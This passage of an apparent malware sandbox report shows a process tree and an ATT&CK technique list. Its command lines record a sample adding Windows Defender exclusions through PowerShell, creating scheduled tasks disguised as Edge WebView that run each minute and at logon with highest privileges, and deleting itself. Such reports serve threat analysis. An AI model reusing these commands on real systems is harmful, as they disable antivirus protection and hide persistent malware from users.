  - Command and Scripting Interpreter: PowerShell
  PID:6004
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" -NoProfile -ExecutionPolicy Bypass -Command "Add-MpPreference -ExclusionPath \"C:\Users\Admin\AppData\Local\EdgeWebView\msedgewebview3.exe\" -Force"
  2⤵
  PID:1196
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" -NoProfile -ExecutionPolicy Bypass -Command "Add-MpPreference -ExclusionPath \"C:\Users\Admin\AppData\Local\EdgeWebView\msedgewebview3.exe\" -Force"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  PID:3492
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" -NoProfile -ExecutionPolicy Bypass -Command "Add-MpPreference -ExclusionPath \"C:\Users\Admin\AppData\Local\EdgeWebView\msedgewebview3.exe\" -Force"
  2⤵
  PID:4412
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" -NoProfile -ExecutionPolicy Bypass -Command "Add-MpPreference -ExclusionPath \"C:\Users\Admin\AppData\Local\EdgeWebView\msedgewebview3.exe\" -Force"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  PID:6040
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" -NoProfile -ExecutionPolicy Bypass -Command "Add-MpPreference -ExclusionPath \"C:\Users\Admin\AppData\Local\EdgeWebView\msedgewebview3.exe\" -Force"
  2⤵
  PID:3972
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" -NoProfile -ExecutionPolicy Bypass -Command "Add-MpPreference -ExclusionPath \"C:\Users\Admin\AppData\Local\EdgeWebView\msedgewebview3.exe\" -Force"
  2⤵
  PID:5464
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" -NoProfile -ExecutionPolicy Bypass -Command "Add-MpPreference -ExclusionPath \"C:\Users\Admin\AppData\Local\EdgeWebView\msedgewebview3.exe\" -Force"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  PID:3136
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" -NoProfile -ExecutionPolicy Bypass -Command "Add-MpPreference -ExclusionPath \"C:\Users\Admin\AppData\Local\EdgeWebView\msedgewebview3.exe\" -Force"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  PID:2172
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" -NoProfile -ExecutionPolicy Bypass -Command "Add-MpPreference -ExclusionPath \"C:\Users\Admin\AppData\Local\EdgeWebView\msedgewebview3.exe\" -Force"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  PID:124
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" -NoProfile -ExecutionPolicy Bypass -Command "Add-MpPreference -ExclusionPath \"C:\Users\Admin\AppData\Local\EdgeWebView\msedgewebview3.exe\" -Force"
  2⤵
  PID:3324
- C:\Users\Admin\AppData\Local\Temp\Ny8yBlaw.exe
  "C:\Users\Admin\AppData\Local\Temp\Ny8yBlaw.exe"
  2⤵
  PID:1804
- - C:\Windows\system32\schtasks.exe
    "schtasks.exe" /query /tn "msedgewebview3" /fo CSV /nh
    3⤵
    PID:5536
- - C:\Windows\system32\schtasks.exe
    "schtasks.exe" /delete /tn "msedgewebview3" /f
    3⤵
    PID:3360
- - C:\Windows\system32\schtasks.exe
    "schtasks.exe" /query /tn "msedgewebview3" /fo CSV /nh
    3⤵
    PID:3356
- - C:\Windows\system32\schtasks.exe
    "schtasks.exe" /delete /tn "msedgewebview3.exe_Fallback" /f
    3⤵
    PID:4856
- - C:\Windows\system32\schtasks.exe
    "schtasks.exe" /query /tn "msedgewebview3" /fo CSV /nh
    3⤵
    PID:2656
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "powershell.exe" -NoProfile -ExecutionPolicy Bypass -Command "if (Get-Command Get-MpPreference -ErrorAction SilentlyContinue) { exit 0 } else { exit 1 }"
    3⤵
    - Hide Artifacts: Ignore Process Interrupts
    PID:972
- - C:\Windows\system32\schtasks.exe
    "schtasks.exe" /query /tn "msedgewebview3" /fo CSV /nh
    3⤵
    PID:4384
- - C:\Windows\system32\schtasks.exe
    "schtasks.exe" /query /tn "msedgewebview3" /fo CSV /nh
    3⤵
    PID:2020
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "powershell.exe" -NoProfile -ExecutionPolicy Bypass -Command "(Get-MpPreference).ExclusionPath -contains 'C:\Users\Admin\AppData\Local\Temp\Ny8yBlaw.exe'"
    3⤵
    PID:1604
- - C:\Windows\system32\schtasks.exe
    "schtasks.exe" /create /tn "msedgewebview3" /tr "\"C:\Users\Admin\AppData\Local\EdgeWebView\msedgewebview3.exe\"" /sc minute /mo 1 /rl HIGHEST /f
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:4536
- - C:\Windows\system32\schtasks.exe
    "schtasks.exe" /query /tn "msedgewebview3" /fo CSV /nh
    3⤵
    PID:3416
- - C:\Windows\system32\schtasks.exe
    "schtasks.exe" /query /tn "msedgewebview3_logon" /fo CSV /nh
    3⤵
    PID:5476
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "powershell.exe" -NoProfile -ExecutionPolicy Bypass -Command "Add-MpPreference -ExclusionPath \"C:\Users\Admin\AppData\Local\Temp\Ny8yBlaw.exe\" -Force; if ('C:\Users\Admin\AppData\Local\EdgeWebView' -ne '') { Add-MpPreference -ExclusionPath \"C:\Users\Admin\AppData\Local\EdgeWebView\" -Force }"
    3⤵
    PID:2244
- - C:\Windows\system32\schtasks.exe
    "schtasks.exe" /create /tn "msedgewebview3_logon" /tr "\"C:\Users\Admin\AppData\Local\EdgeWebView\msedgewebview3.exe\"" /sc onlogon /rl HIGHEST /f
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:1732
- - C:\Windows\system32\schtasks.exe
    "schtasks.exe" /delete /tn "msedgewebview3.exe_Fallback" /f
    3⤵
    PID:3004
- - C:\Users\Admin\AppData\Local\EdgeWebView\msedgewebview3.exe
    "C:\Users\Admin\AppData\Local\EdgeWebView\msedgewebview3.exe"
    3⤵
    PID:2528
  - - C:\Windows\system32\schtasks.exe
      "schtasks.exe" /query /tn "msedgewebview3" /fo CSV /nh
      4⤵
      PID:3208
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "powershell.exe" -NoProfile -ExecutionPolicy Bypass -Command "if (Get-Command Get-MpPreference -ErrorAction SilentlyContinue) { exit 0 } else { exit 1 }"
      4⤵
      Hide Artifacts: Ignore Process Interrupts
      PID:924
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "powershell.exe" -NoProfile -ExecutionPolicy Bypass -Command "(Get-MpPreference).ExclusionPath -contains 'C:\Users\Admin\AppData\Local\EdgeWebView\msedgewebview3.exe'"
      4⤵
      PID:2920
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "powershell.exe" -NoProfile -ExecutionPolicy Bypass -Command "Add-MpPreference -ExclusionPath \"C:\Users\Admin\AppData\Local\EdgeWebView\msedgewebview3.exe\" -Force; if ('C:\Users\Admin\AppData\Local\EdgeWebView' -ne '') { Add-MpPreference -ExclusionPath \"C:\Users\Admin\AppData\Local\EdgeWebView\" -Force }"
      4⤵
      PID:236
  - - C:\Windows\system32\schtasks.exe
      "schtasks.exe" /query /tn "msedgewebview3" /fo CSV /nh
      4⤵
      PID:1896
  - - C:\Windows\system32\schtasks.exe
      "schtasks.exe" /query /tn "msedgewebview3_logon" /fo CSV /nh
      4⤵
      PID:5348
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "powershell.exe" -NoProfile -ExecutionPolicy Bypass -Command "Add-MpPreference -ExclusionPath \"C:\Users\Admin\AppData\Local\Temp\Ny8yBlaw.exe\" -Force; if ('C:\Users\Admin\AppData\Local\EdgeWebView' -ne '') { Add-MpPreference -ExclusionPath \"C:\Users\Admin\AppData\Local\EdgeWebView\" -Force }"
    3⤵
    - Command and Scripting Interpreter: PowerShell
    PID:5452
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\7agxhKku.bat""
    3⤵
    - Executes a command shell one-liner
    PID:3088
  - - C:\Windows\System32\timeout.exe
      timeout /t 2 /nobreak
      4⤵
      Delays execution with timeout.exe
      PID:5300
- - C:\Windows\System32\cmd.exe
    "C:\Windows\System32\cmd.exe" /c del /f /q "C:\Users\Admin\AppData\Local\Temp\Ny8yBlaw.exe"
    3⤵
    PID:252

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k GPSvcGroup
1⤵
PID:2784

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Windows Command Shell

T1059.003

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Defense Evasion

Hide Artifacts

T1564

Ignore Process Interrupts

T1564.011

Indicator Removal

T1070

File Deletion

T1070.004

Modify Registry

T1112

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

System Network Configuration Discovery

T1016

Internet Connection Discovery

T1016.001

Lateral Movement

Collection

Command and Control

Web Service

T1102

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...